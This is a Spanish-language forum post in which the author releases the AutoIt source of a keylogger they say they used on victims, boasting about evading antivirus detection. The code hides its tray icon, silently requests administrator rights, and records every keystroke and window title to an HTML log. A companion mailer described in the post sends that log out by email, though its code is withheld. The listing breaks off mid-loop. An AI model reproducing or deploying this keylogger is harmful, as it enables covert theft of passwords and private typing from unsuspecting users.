Hoy, aburrido un finde, voy a hacer público el source de uno de mis keylogger que más frutos me dió.En su época dorada solo el AV de un colega (Jiangmin) lo detectaba como PUP (potentially unwanted program).Hoy, Avast lo llama "AutoIt:KeyLogger-L" y la versión repackeada... ni la reconoce.Pero los AV mas importantes lo llaman
Trojan.Generic.13139665
(seudónimos en link)
Este virus es en realidad, un virus compuesto por varios archivos. Lo que lo convierte en malware.
log.html solo es el archivo que almacena la informacion.
Mailer.exe es el programita encargado de enviar un e-mail con datos únicos de la PC victima y un attachment del archivo log.html (el cual aún no va a ser público, dado que no es detectado y bypassea firewalls).
keylogger.exe... es lo que se hace "abierto" dado que los AV le quitaron la gracia.
El propósito del post? Mostrar como con un par de lineas de codigo en script (si... 600+ lineas son pocas lineas) se puede causar MUCHO daño. Siempre piensen 2 veces antes de descargar algo directo de alguien.Comenzamos con lo básico:Declaramos variables y prearmamos el archivo log. Previamente eliminamos el ícono de la barra de tareas y solicitamos al sistema derechos de administrador (en caso de que el usuario SEA administrador, no le sale advertencia alguna y el virus obtiene privilegios absolutos.
Voilá! Trojano listo para sembrar caos! (si no fuera detectado)
[color=#000000]
#NoTrayIcon
#RequireAdmin
[email protected]
& "-" &
[email protected]
& "-" &
[email protected]
Local $user32 = DllOpen("user32"), $log
Local $window2 = ""
Local $CAPSLOCKTOGGLE
Local $log = "log.html"
HotKeySet( "^{F9}", "Terminate")
OnAutoItExitRegister ("Terminate")
If FileExists($log) = 1 Then
FileDelete( $log )
EndIf
FileWrite($log,"")
FileOpen($log, 1)
Sleep(100)
FileWrite($log, "<font face=Verdana size=1>")
FileWrite($log, "<b><center>[#[ Inicio del log ]#] </center></b><br>")
FileWrite($log, "<b><center>[#[ Historial : ]#] </center></b><br>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{EN} = Enter<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{BS} = BackSpace<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{LMS} = Click Izquierdo<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{RMS} = Click Derecho<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{MMS} = Click Medio<br></font></center>")
FileWrite($log, "<br>")
FileWrite($log, "<b><center>[#[ Log : ]#] </center></b><br>")
[/color]
El virus completo se basa en 1 sola función. Así que la armamos y agregamos:
[color=#000000]
Func _LoggearTecla($loggueo)
$window = WinGetTitle("")
If $window = $window2 Then
FileWrite($log, $loggueo)
Else
$window2 = $window
FileWrite($log, "<br><BR>" & "<b>[" &
[email protected]
& "." &
[email protected]
& "." &
[email protected]
& " " &
[email protected]
& ":" &
[email protected]
& ":" &
[email protected]
& '] Window : "' & $window & '"</b><br>' & $loggueo)
EndIf
EndFunc
[/color]
Es bastante obvio, guarda el titulo de ventana y tecla presionada en el archivo $log.Luego, viene la parte engorrosa... Recibir cada tecla pesionada posible con la funcion _isPressed
[color=#000000]
Func _IsPressed($hexKey)
Local $aR, $bRv
$hexKey = '0x' & $hexKey
$aR = DllCall($user32, "int", "GetAsyncKeyState", "int", $hexKey)
If $aR[0] <> 0 Then
$bRv = 1
Else
$bRv = 0
EndIf
Return $bRv
EndFunc
[/color]
El uso es esto:
[color=#000000]
If _IsPressed ('2E') = 1 Then
_LoggearTecla('.')
While _IsPressed ('2E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('3F') = 1 Then
_LoggearTecla("?")
While _IsPressed ('3F') = 1
Sleep(1)
WEnd
...
[/color]
Pero repetido, muchas, muchas veces!!! (incluyendo teclas "shift")Preparen la ruedita en modo turbo!!!
[color=#000000]
While 1
For $n = 30 To 39
If _IsPressed ($n) Then
If ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('=')
ElseIf ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('0')
ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('!')
ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('1')
ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('"')
ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('2')
ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('#')
ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla( '3')
ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('$')
ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('4')
ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('%')
ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla( '5')
ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('&')
ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('6')
ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('/')
ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('7')
ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('(')
ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('8')
ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla(')')
ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('9')
EndIf
While _IsPressed ($n) = 1
Sleep(1)
WEnd
EndIf
Next
If _IsPressed ('2E') = 1 Then
_LoggearTecla('.')
While _IsPressed ('2E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('3F') = 1 Then
_LoggearTecla("?")
While _IsPressed ('3F') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('B4') = 1 Then
_LoggearTecla("´")
While _IsPressed ('B4') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2A') = 1 Then
_LoggearTecla("*")
While _IsPressed ('2A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2B') = 1 Then
_LoggearTecla("+")
While _IsPressed ('2B') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('27') = 1 Then
_LoggearTecla("'")
While _IsPressed ('27') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('41') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("a")
Else
_LoggearTecla("A")
EndIf
While _IsPressed ('41') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('42') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("b")
Else
_LoggearTecla("B")
EndIf
While _IsPressed ('42') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('43') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("c")
Else
_LoggearTecla("C")
EndIf
While _IsPressed ('43') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('44') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("d")
Else
_LoggearTecla("D")
EndIf
While _IsPressed ('44') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('45') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("e")
Else
_LoggearTecla("E")
EndIf
While _IsPressed ('45') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('46') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("f")
Else
_LoggearTecla("F")
EndIf
While _IsPressed ('46') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('47') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("g")
Else
_LoggearTecla("G")
EndIf
While _IsPressed ('47') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('48') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("h")
Else
_LoggearTecla("H")
EndIf
While _IsPressed ('48') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('49') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("i")
Else
_LoggearTecla("I")
EndIf
While _IsPressed ('49') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4A') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("j")
Else
_LoggearTecla("J")
EndIf
While _IsPressed ('4A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4B') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("k")
Else
_LoggearTecla("K")
EndIf
While _IsPressed ('4B') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4C') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("l")
Else
_LoggearTecla("L")
EndIf
While _IsPressed ('4C') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4D') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("m")
Else
_LoggearTecla("M")
EndIf
While _IsPressed ('4D') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4E') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("n")
Else
_LoggearTecla("N")
EndIf
While _IsPressed ('4E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4F') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("o")
Else
_LoggearTecla("O")
EndIf
While _IsPressed ('4F') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('50') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("p")
Else
_LoggearTecla("P")
EndIf
While _IsPressed ('50') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('51') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("q")
Else
_LoggearTecla("Q")
EndIf
While _IsPressed ('51') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('52') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("r")
Else
_LoggearTecla("R")
EndIf
While _IsPressed ('52') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('53') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("s")
Else
_LoggearTecla("S")
EndIf
While _IsPressed ('53') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('54') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("t")
Else
_LoggearTecla("T")
EndIf
While _IsPressed ('54') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('55') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("u")
Else
_LoggearTecla("U")
EndIf
While _IsPressed ('55') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('56') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("v")
Else
_LoggearTecla("V")
EndIf
While _IsPressed ('56') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('57') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("w")
Else
_LoggearTecla("W")
EndIf
While _IsPressed ('57') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('58') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("x")
Else
_LoggearTecla("X")
EndIf
While _IsPressed ('58') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('59') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("y")
Else
_LoggearTecla("Y")
EndIf
While _IsPressed ('59') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('5A') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("z")
Else
_LoggearTecla("Z")
EndIf
While _IsPressed ('5A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('20') = 1 Then
_LoggearTecla(" ")
While _IsPressed ('20') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('01') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{LMS}</i></font>")
While _IsPressed ("01") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('02') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{RMS}</i></font>")
While _IsPressed ("02") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('04') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{MMS}</i></font>")
While _IsPressed ("04") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('08') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{BS}</i></font>")
While _IsPressed ("08") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('09') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")
While _IsPressed ("09") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('0d') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{EN}</i></font><br>")
While _IsPressed ("0d") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('10') Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")
While _IsPressed ("10") = 1
For $n = 30 To 39
If _IsPressed ($n) Then
If StringRight($n, 1) = 0 Then
_LoggearTecla('=')
ElseIf StringRight($n, 1) = 1 Then
_LoggearTecla('!')
ElseIf StringRight($n, 1) = 2 Then
_LoggearTecla('"')
ElseIf StringRight($n, 1) = 3 Then
_LoggearTecla('#')
ElseIf StringRight($n, 1) = 4 Then
_LoggearTecla('$')
ElseIf StringRight($n, 1) = 5 Then
_LoggearTecla('%')
ElseIf StringRight($n, 1) = 6 Then
_LoggearTecla('&')
ElseIf StringRight($n, 1) = 7 Then
_LoggearTecla('/')
ElseIf StringRight($n, 1) = 8 Then
_LoggearTecla('(')
ElseIf StringRight($n, 1) = 9 Then
_LoggearTecla(')')
EndIf
While _IsPressed ($n) = 1
Sleep(1)
WEnd
EndIf
Next
If _IsPressed ('41') = 1 Then _LoggearTecla("A")
While _IsPressed ('41') = 1
Sleep(1)
WEnd
If _IsPressed ('42') = 1 Then _LoggearTecla("B")
While _IsPressed ('42') = 1
Sleep(1)
WEnd
If _IsPressed ('43') = 1 Then _LoggearTecla("C")
While _IsPressed ('43') = 1
Sleep(1)
WEnd
If _IsPressed ('44') = 1 Then _LoggearTecla("D")
While _IsPressed ('44') = 1
Sleep(1)
WEnd
If _IsPressed ('45') = 1 Then _LoggearTecla("E")
While _IsPressed ('45') = 1
Sleep(1)
WEnd
If _IsPressed ('46') = 1 Then _LoggearTecla("F")
While _IsPressed ('46') = 1
Sleep(1)
WEnd
If _IsPressed ('47') = 1 Then _LoggearTecla("G")
While _IsPressed ('47') = 1
Sleep(1)
WEnd
If _IsPressed ('48') = 1 Then _LoggearTecla("H")
While _IsPressed ('48') = 1
Sleep(1)
WEnd
If _IsPressed ('49') = 1 Then _LoggearTecla("I")
While _IsPressed ('49') = 1
Sleep(1)
WEnd
If _IsPressed ('4A') = 1 Then _LoggearTecla("J")
While _IsPressed ('4A') = 1
Sleep(1)
WEnd
If _IsPressed ('4B') = 1 Then _LoggearTecla("K")
While _IsPressed ('4B') = 1
Sleep(1)
WEnd
If _IsPressed ('4C') = 1 Then _LoggearTecla("L")
While _IsPressed ('4C') = 1
Sleep(1)
WEnd
If _IsPressed ('4D') = 1 Then _LoggearTecla("M")
While _IsPressed ('4D') = 1
Sleep(1)
WEnd
If _IsPressed ('4E') = 1 Then _LoggearTecla("N")
While _IsPressed ('4E') = 1
Sleep(1)
WEnd
If _IsPressed ('4F') = 1 Then _LoggearTecla("O")
While _IsPressed ('4F') = 1
Sleep(1)
WEnd
If _IsPressed ('50') = 1 Then _LoggearTecla("P")
While _IsPressed ('50') = 1
Sleep(1)
WEnd
If _IsPressed ('51') = 1 Then _LoggearTecla("Q")
While _IsPressed ('51') = 1
Sleep(1)
WEnd
If _IsPressed ('52') = 1 Then _LoggearTecla("R")
While _IsPressed ('52') = 1
Sleep(1)
WEnd
If _IsPressed ('53') = 1 Then _LoggearTecla("S")
While _IsPressed ('53') = 1
Sleep(1)
WEnd
If _IsPressed ('54') = 1 Then _LoggearTecla("T")
While _IsPressed ('54') = 1
Sleep(1)
WEnd
If _IsPressed ('55') = 1 Then _LoggearTecla("U")
While _IsPressed ('55') = 1
Sleep(1)
WEnd
If _IsPressed ('56') = 1 Then _LoggearTecla("V")
While _IsPressed ('56') = 1
Sleep(1)
WEnd
If _IsPressed ('57') = 1 Then _LoggearTecla("W")
While _IsPressed ('57') = 1
Sleep(1)
WEnd
If _IsPressed ('58') = 1 Then _LoggearTecla("X")
While _IsPressed ('58') = 1
Sleep(1)
WEnd
If _IsPressed ('59') = 1 Then _LoggearTecla("Y")
While _IsPressed ('59') = 1
Sleep(1)
WEnd
If _IsPressed ('5A') = 1 Then _LoggearTecla("Z")
While _IsPressed ('5A') = 1
Sleep(1)
WEnd
WEnd
ElseIf _IsPressed ('11') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")
While _IsPressed ("11") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('12') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")
While _IsPressed ("12") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('13') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")
While _IsPressed ("13") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('14') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")
If $CAPSLOCKTOGGLE = 1 Then
$CAPSLOCKTOGGLE = 0
ElseIf $CAPSLOCKTOGGLE = 0 Then
$CAPSLOCKTOGGLE = 1
EndIf
While _IsPressed ("14") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('1b') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")
While _IsPressed ("1b") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('21') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")
While _IsPressed ("21") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('22') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{PG_DOWN}</i></font>")
While _IsPressed ("22") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('23') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")
While _IsPressed ("23") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('24') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")
While _IsPressed ("24") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('25') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")
While _IsPressed ("25") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('26') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")
While _IsPressed ("26") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('27') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")
While _IsPressed ("27") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('28') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")
While _IsPressed ("28") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2c') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{PRINT}</i></font>")
While _IsPressed ("2c") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2d') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")
While _IsPressed ("2d") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2e') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")
While _IsPressed ("2e") = 1
Sleep(1)
WEnd
EndIf
WEnd
[/color]
Agregamos la funcion de cierre y obtenemos el fruto de los cientos de lineas!
[color=#000000]
#NoTrayIcon
#RequireAdmin
[email protected]
& "-" &
[email protected]
& "-" &
[email protected]
Local $user32 = DllOpen("user32"), $log
Local $window2 = ""
Local $CAPSLOCKTOGGLE
Local $log = "log.html"
HotKeySet( "^{F9}", "Terminate")
OnAutoItExitRegister ("Terminate")
If FileExists($log) = 1 Then
FileDelete( $log )
EndIf
FileWrite($log,"")
FileOpen($log, 1)
Sleep(100)
FileWrite($log, "<font face=Verdana size=1>")
FileWrite($log, "<b><center>[#[ Inicio del Log ]#] </center></b><br>")
FileWrite($log, "<b><center>[#[ Historial : ]#] </center></b><br>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{EN} = Enter<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{BS} = BackSpace<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{LMS} = Click Izquierdo<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{RMS} = Click Derecho<br></font></center>")
FileWrite($log, "<center><font color=#008000 style=font-size:9px>{MMS} = Click Medio<br></font></center>")
FileWrite($log, "<br>")
FileWrite($log, "<b><center>[#[ Log : ]#] </center></b><br>")
While 1
For $n = 30 To 39
If _IsPressed ($n) Then
If ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('=')
ElseIf ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('0')
ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('!')
ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('1')
ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('"')
ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('2')
ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('#')
ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla( '3')
ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('$')
ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('4')
ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('%')
ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla( '5')
ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('&')
ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('6')
ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('/')
ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('7')
ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla('(')
ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('8')
ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 1)) Then
_LoggearTecla(')')
ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 0)) Then
_LoggearTecla('9')
EndIf
While _IsPressed ($n) = 1
Sleep(1)
WEnd
EndIf
Next
If _IsPressed ('2E') = 1 Then
_LoggearTecla('.')
While _IsPressed ('2E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('3F') = 1 Then
_LoggearTecla("?")
While _IsPressed ('3F') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('B4') = 1 Then
_LoggearTecla("´")
While _IsPressed ('B4') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2A') = 1 Then
_LoggearTecla("*")
While _IsPressed ('2A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2B') = 1 Then
_LoggearTecla("+")
While _IsPressed ('2B') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('27') = 1 Then
_LoggearTecla("'")
While _IsPressed ('27') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('41') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("a")
Else
_LoggearTecla("A")
EndIf
While _IsPressed ('41') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('42') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("b")
Else
_LoggearTecla("B")
EndIf
While _IsPressed ('42') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('43') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("c")
Else
_LoggearTecla("C")
EndIf
While _IsPressed ('43') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('44') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("d")
Else
_LoggearTecla("D")
EndIf
While _IsPressed ('44') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('45') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("e")
Else
_LoggearTecla("E")
EndIf
While _IsPressed ('45') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('46') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("f")
Else
_LoggearTecla("F")
EndIf
While _IsPressed ('46') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('47') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("g")
Else
_LoggearTecla("G")
EndIf
While _IsPressed ('47') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('48') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("h")
Else
_LoggearTecla("H")
EndIf
While _IsPressed ('48') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('49') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("i")
Else
_LoggearTecla("I")
EndIf
While _IsPressed ('49') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4A') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("j")
Else
_LoggearTecla("J")
EndIf
While _IsPressed ('4A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4B') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("k")
Else
_LoggearTecla("K")
EndIf
While _IsPressed ('4B') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4C') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("l")
Else
_LoggearTecla("L")
EndIf
While _IsPressed ('4C') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4D') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("m")
Else
_LoggearTecla("M")
EndIf
While _IsPressed ('4D') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4E') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("n")
Else
_LoggearTecla("N")
EndIf
While _IsPressed ('4E') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('4F') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("o")
Else
_LoggearTecla("O")
EndIf
While _IsPressed ('4F') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('50') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("p")
Else
_LoggearTecla("P")
EndIf
While _IsPressed ('50') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('51') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("q")
Else
_LoggearTecla("Q")
EndIf
While _IsPressed ('51') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('52') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("r")
Else
_LoggearTecla("R")
EndIf
While _IsPressed ('52') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('53') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("s")
Else
_LoggearTecla("S")
EndIf
While _IsPressed ('53') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('54') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("t")
Else
_LoggearTecla("T")
EndIf
While _IsPressed ('54') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('55') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("u")
Else
_LoggearTecla("U")
EndIf
While _IsPressed ('55') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('56') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("v")
Else
_LoggearTecla("V")
EndIf
While _IsPressed ('56') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('57') = 1 Then
